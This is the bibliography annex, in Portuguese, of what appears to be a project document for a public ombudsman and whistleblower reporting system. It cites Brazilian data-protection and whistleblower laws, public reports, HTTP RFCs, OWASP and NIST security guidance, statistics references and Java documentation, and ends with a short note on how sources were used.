BRASIL. **Lei nº 13.460, de 26 de junho de 2017**. Dispõe sobre participação, proteção e defesa dos direitos do usuário dos serviços públicos da administração pública. Brasília: Presidência da República, 2017. Disponível em: https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2017/lei/l13460.htm

BRASIL. **Lei nº 13.709, de 14 de agosto de 2018**. Lei Geral de Proteção de Dados Pessoais (LGPD). Brasília: Presidência da República, 2018a. Disponível em: https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13709.htm

BRASIL. **Lei nº 13.608, de 10 de janeiro de 2018**. Dispõe sobre o serviço telefônico de recebimento de denúncias e sobre recompensa por informações que auxiliem nas investigações policiais; com as alterações da Lei nº 13.964/2019, que incluiu os arts. 4º-A a 4º-C. Brasília: Presidência da República, 2018b. Disponível em: https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/lei/l13608.htm

BRASIL. **Decreto nº 9.492, de 5 de setembro de 2018**. Regulamenta a Lei nº 13.460/2017 e institui o Sistema de Ouvidoria do Poder Executivo federal. Brasília: Presidência da República, 2018c. Disponível em: https://www.planalto.gov.br/ccivil_03/_ato2015-2018/2018/decreto/d9492.htm

BRASIL. **Decreto nº 10.153, de 3 de dezembro de 2019**. Dispõe sobre as salvaguardas de proteção à identidade dos denunciantes de ilícitos e de irregularidades praticados contra a administração pública federal direta e indireta. Brasília: Presidência da República, 2019. Disponível em: https://www.planalto.gov.br/ccivil_03/_ato2019-2022/2019/decreto/D10153.htm

AUTORIDADE NACIONAL DE PROTEÇÃO DE DADOS (ANPD). **Guia Orientativo sobre Segurança da Informação para Agentes de Tratamento de Pequeno Porte**. Versão 1.0. Brasília: ANPD, 2021. Disponível em: <https://www.gov.br/anpd/pt-br/centrais-de-conteudo/materiais-educativos-e-publicacoes/guia-vf.pdf>

AUTORIDADE NACIONAL DE PROTEÇÃO DE DADOS (ANPD). **Resolução CD/ANPD nº 15, de 24 de abril de 2024**. Aprova o Regulamento de Comunicação de Incidente de Segurança. Brasília: ANPD, 2024. Disponível em: https://bibliotecadigital.mj.gov.br/bitstream/1/12879/2/RES_ANPD_2024_15.html

AUTORIDADE NACIONAL DE PROTEÇÃO DE DADOS (ANPD). **3º Relatório de Ciclo de Monitoramento**: 2º semestre de 2023 a 1º semestre de 2025. Brasília: ANPD, 2025. Disponível em: https://www.gov.br/anpd/pt-br/aceso-a-informacao/institucional/atos-normativos/regulamentacoes_anpd

UNIÃO EUROPEIA. **Diretiva (UE) 2019/1937 do Parlamento Europeu e do Conselho**, de 23 de outubro de 2019, relativa à proteção das pessoas que denunciam violações do direito da União. Jornal Oficial da União Europeia, 2019. Disponível em: <https://eur-lex.europa.eu/legal-content/PT/TXT/PDF/?uri=CELEX:32019L1937>

E.2 Dados públicos e relatórios institucionais

AGÊNCIA BRASIL. **Intolerância religiosa: Disque 100 registra 2,4 mil casos em 2024**. Brasília: Empresa Brasil de Comunicação, 2025. Disponível em: <https://agenciabrasil.ebc.com.br/geral/noticia/2025-01/intolerancia-religiosa-disque-100-registra-24-mil-casos-em-2024>

CONTROLADORIA-GERAL DA UNIÃO (CGU). **Fala.BR: Módulo Ouvidoria**. Brasília: CGU, [s.d.]. Disponível em: https://wiki.cgu.gov.br/index.php/Fala.BR_-_M%C3%B3dulo_Ouvidoria

CONTROLADORIA-GERAL DA UNIÃO (CGU). **Relatório de Avaliação de Ouvidoria: Ouvidoria do INSS**. Brasília: CGU, 2025. Avaliação referente ao período de 01/11/2022 a 31/10/2023. Disponível em: <https://basedeconhecimento.cgu.gov.br>

INSTITUTO DE PESQUISA ECONÔMICA APLICADA (IPEA). **Dados sobre estupro no Brasil**. Policy Brief, Atlas da Violência. Autores: Helder Ferreira, Danilo Coelho, Daniel Cerqueira, Paloma Alves e Marcella Semente. Brasília: Ipea, 2023. Disponível em: <https://www.ipea.gov.br/atlasviolencia/arquivos/artigos/1694-pbestuprofinal.pdf>

INTERNATIONAL BUSINESS MACHINES (IBM). **Cost of a Data Breach Report 2026**. Armonk: IBM Security, em parceria com o Ponemon Institute, 2026. Disponível em: <https://www.ibm.com/reports/data-breach>

MINISTÉRIO DOS DIREITOS HUMANOS E DA CIDADANIA (MDHC). **Disque 100 registra 657,2 mil denúncias em 2024 e crescimento de 22,6% em relação a 2023**. Brasília: Ouvidoria Nacional dos Direitos Humanos, 2025. Disponível em: <https://www.gov.br/mdh/pt-br/assuntos/noticias/2025/janeiro/disque-100-registra-657-2-mil-denuncias-em-2024-e-crescimento-de-22-6-em-2024>

TRANSPARENCY INTERNATIONAL. **Whistleblower protection in 2026: the gap between law and reality**. Autora: Marie Terracol. Berlim: Transparency International, 2026. Disponível em: <https://www.transparency.org/en/blog/whistleblower-protection-law-retaliation>

E.3 Especificações técnicas e normas de segurança

INTERNET ENGINEERING TASK FORCE (IETF). **RFC 6585: Additional HTTP Status Codes**. Autores: M. Nottingham e R. Fielding. 2012. Define o código 429 Too Many Requests. Disponível em: <https://www.rfc-editor.org/rfc/rfc6585.html>

INTERNET ENGINEERING TASK FORCE (IETF). **RFC 7231: Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content**. 2014a. Obsoleto, substituído pelo RFC 9110; citado neste documento apenas pelo texto literal da seção 4.2.1, sobre métodos seguros. Disponível em: <https://www.rfc-editor.org/rfc/rfc7231.txt>

INTERNET ENGINEERING TASK FORCE (IETF). **RFC 7235: Hypertext Transfer Protocol (HTTP/1.1): Authentication**. 2014b. Obsoleto, substituído pelo RFC 9110; citado pelo texto literal da seção 3.1, sobre o código 401. Disponível em: <https://www.rfc-editor.org/rfc/rfc7235.html>

INTERNET ENGINEERING TASK FORCE (IETF). **RFC 7519: JSON Web Token (JWT)**. Autores: M. Jones, J. Bradley e N. Sakimura. 2015. Disponível em: <https://www.rfc-editor.org/rfc/rfc7519.html>

INTERNET ENGINEERING TASK FORCE (IETF). **RFC 8725: JSON Web Token Best Current Practices (BCP 225)**. 2020. Disponível em: <https://www.rfc-editor.org/rfc/rfc8725.html>

INTERNET ENGINEERING TASK FORCE (IETF). **RFC 9110: HTTP Semantics (STD 97)**. Autores: R. Fielding, M. Nottingham e J. Reschke. 2022. Padrão vigente de semântica HTTP, ao qual correspondem as seções de método e de código de status citadas na Parte 3. Disponível em: <https://www.rfc-editor.org/rfc/rfc9110.html>

INTERNATIONAL ORGANIZATION FOR STANDARDIZATION; INTERNATIONAL ELECTROTECHNICAL COMMISSION. **ISO/IEC 27002:2022: information security, cybersecurity and privacy protection: information security controls**. 3. ed. Genebra: ISO, 2022. Controle 8.15, Logging. Disponível em: <https://www.iso.org/standard/75652.html>

NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY (NIST). **SP 800-92: Guide to Computer Security Log Management**. Autores: Karen Kent e Murugiah Souppaya. Gaithersburg: NIST, 2006. Disponível em: <https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-92.pdf>

OPEN WORLDWIDE APPLICATION SECURITY PROJECT (OWASP). **OWASP API Security Top 10: 2023**. 2023. Disponível em: <https://owasp.org/API-Security/editions/2023/en/0x11-t10/>

OPEN WORLDWIDE APPLICATION SECURITY PROJECT (OWASP). **Password Storage Cheat Sheet**. OWASP Cheat Sheet Series, [s.d.].a. Disponível em: https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html

OPEN WORLDWIDE APPLICATION SECURITY PROJECT (OWASP). **Logging Cheat Sheet**. OWASP Cheat Sheet Series, [s.d.].b. Disponível em: https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html

OPEN WORLDWIDE APPLICATION SECURITY PROJECT (OWASP). **File Upload Cheat Sheet**. OWASP Cheat Sheet Series, [s.d.].c. Disponível em: https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

OPEN WORLDWIDE APPLICATION SECURITY PROJECT (OWASP). **Cross-Site Request Forgery Prevention Cheat Sheet**. OWASP Cheat Sheet Series, [s.d.].d. Seção sobre cabeçalhos personalizados e CORS. Disponível em: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

OPEN WORLDWIDE APPLICATION SECURITY PROJECT (OWASP). **Mass Assignment Cheat Sheet**. OWASP Cheat Sheet Series, [s.d.].e. Disponível em: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html

OPEN WORLDWIDE APPLICATION SECURITY PROJECT (OWASP). **CSV Injection**. OWASP Community, [s.d.].f. Disponível em: https://owasp.org/www-community/attacks/CSV_Injection

OPEN WORLDWIDE APPLICATION SECURITY PROJECT (OWASP). **Application Logging Vocabulary Cheat Sheet**. OWASP Cheat Sheet Series, [s.d.].g. Disponível em: https://cheatsheetseries.owasp.org/cheatsheets/Logging_Vocabulary_Cheat_Sheet.html

PROVOS, Niels; MAZIÈRES, David. **A Future-Adaptable Password Scheme**. In: USENIX ANNUAL TECHNICAL CONFERENCE, 1999, Monterey. Proceedings of the FREENIX Track. Berkeley: USENIX Association, 1999. Referência original do algoritmo bcrypt. Disponível em: <https://www.usenix.org/legacy/event/usenix99/provos/provos.pdf>

E.4 Privacidade, anonimização e reidentificação

ROCHER, Luc; HENDRICKX, Julien M.; DE MONTJOYE, Yves-Alexandre. **Estimating the success of re-identifications in incomplete datasets using generative models**. Nature Communications, v. 10, artigo 3069, 2019. DOI 10.1038/s41467-019-10933-3. Disponível em: <https://www.nature.com/articles/s41467-019-10933-3>

SWEENEY, Latanya. **k-Anonymity: A Model for Protecting Privacy**. International Journal on Uncertainty, Fuzziness and Knowledge-based Systems, v. 10, n. 5, p. 557-570, 2002. Disponível em: https://epic.org/wp-content/uploads/privacy/reidentification/Sweeney_Article.pdf

E.5 Estatística, análise de dados e engenharia de sistemas

CASSELMAN, Bill. **The Legend of Abraham Wald**. Feature Column. Providence: American Mathematical Society, 2016. Fonte do episódio que dá origem ao conceito de viés de sobrevivência. Disponível em: <https://www.ams.org/publicoutreach/feature-column/fc-2016-06>

GOOGLE. **Site Reliability Engineering**: how Google runs production systems. Capítulo 4: Service Level Objectives. Editores: Betsy Beyer, Chris Jones, Jennifer Petoff e Niall Richard Murphy. Sebastopol: O'Reilly, 2016. Disponível em: <https://sre.google/sre-book/service-level-objectives/>

GOOGLE. **The Site Reliability Workbook**: practical ways to implement SRE. Capítulo 2: Implementing SLOs. Sebastopol: O'Reilly, 2018. Disponível em: <https://sre.google/workbook/implementing-slos/>

LEE, Hyunwoo; NUNAN, David. **Immortal time bias**. Catalogue of Bias. Oxford: Centre for Evidence-Based Medicine, University of Oxford, 2020. Disponível em: <https://catalogofbias.org/biases/immortal-time-bias/>

NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY (NIST). **Coefficient of Variation**. Dataplot Reference Manual. Gaithersburg: NIST, [s.d.]. Disponível em: <https://itl.nist.gov/div898/software/dataplot/refman2/auxillar/coefvari.htm>

NIST/SEMATECH. **e-Handbook of Statistical Methods**. Seção 7.1.6: What are outliers in the data? 2012a. Define as cercas de 1,5 vezes o intervalo interquartil. Disponível em: <https://www.itl.nist.gov/div898/handbook/prc/section1/prc16.htm>

NIST/SEMATECH. **e-Handbook of Statistical Methods**. Seção 1.3.5.11: Measures of Skewness and Kurtosis. 2012b. Define o segundo coeficiente de assimetria de Pearson. Disponível em: <https://www.itl.nist.gov/div898/handbook/eda/section3/eda35b.htm>

PENN STATE UNIVERSITY. **STAT 415: Unbiased Estimation**. Eberly College of Science, STAT ONLINE, [s.d.].a. Fundamenta o divisor n menos 1 na variância amostral. Disponível em: <https://online.stat.psu.edu/stat415/lesson/1/1.3>

PENN STATE UNIVERSITY. **STAT 200: Correlation**. Eberly College of Science, STAT ONLINE, [s.d.].b. Fundamenta as ressalvas sobre causalidade e linearidade do coeficiente de Pearson. Disponível em: <https://online.stat.psu.edu/stat200/lesson/3/3.4/3.4.2>

TUKEY, John W. **Exploratory Data Analysis**. Reading: Addison-Wesley, 1977. Referência original da análise exploratória e da regra das cercas para outliers.

WANG, Zhi. **Chapter 5: CPU Scheduling**. Material didático do curso COP 4610, Introduction to Operating Systems, baseado em Silberschatz, *Operating System Concepts*. Tallahassee: Florida State University, 2016. Fonte sobre inanição e envelhecimento em escalonamento por prioridade. Disponível em: <https://www.cs.fsu.edu/~zwang/files/cop4610/Spring2016/chapter5.pdf>

E.6 Documentação de tecnologia utilizada

ORACLE CORPORATION. **Class PriorityQueue**. Java SE 21 API Specification. Redwood Shores: Oracle, 2023a. Disponível em: <https://docs.oracle.com/en/java/javase/21/docs/api/java.base/java/util/PriorityQueue.html>

ORACLE CORPORATION. **Class Stack**. Java SE 21 API Specification. Redwood Shores: Oracle, 2023b. Disponível em: <https://docs.oracle.com/en/java/javase/21/docs/api/java.base/java/util/Stack.html>

ORACLE CORPORATION. **Class ArrayDeque**. Java SE 21 API Specification. Redwood Shores: Oracle, 2023c. Disponível em: <https://docs.oracle.com/en/java/javase/21/docs/api/java.base/java/util/ArrayDeque.html>

ORACLE CORPORATION. **PERCENTILE_CONT**. Oracle Database SQL Language Reference. Redwood Shores: Oracle, [s.d.]. Disponível em: https://docs.oracle.com/en/database/oracle/oracle-database/21/sqlrf/PERCENTILE_CONT.html

E.7 Nota sobre o uso das fontes

Duas ressalvas de honestidade intelectual fecham este anexo.

Nem toda afirmação deste documento precisa de fonte externa, e forçar uma seria pior do que não ter. Os números da Parte 4 descrevem a base de demonstração do próprio projeto e são verificáveis por execução, não por citação: a fonte deles é o Anexo B. As fontes externas aparecem onde sustentam uma **decisão**, e não onde apenas decorariam um dado interno.

Onde a fonte primária não pôde ser lida diretamente, isso está dito. O texto do controle 8.15 da ISO/IEC 27002:2022 é norma paga e foi citado pelo número e pelo nome do controle, sem transcrição. Os relatórios de ouvidoria da CGU e o balanço do Disque 100 foram atribuídos ao órgão produtor. Nenhum número deste documento foi tomado de repercussão jornalística sem que a origem institucional fosse identificada.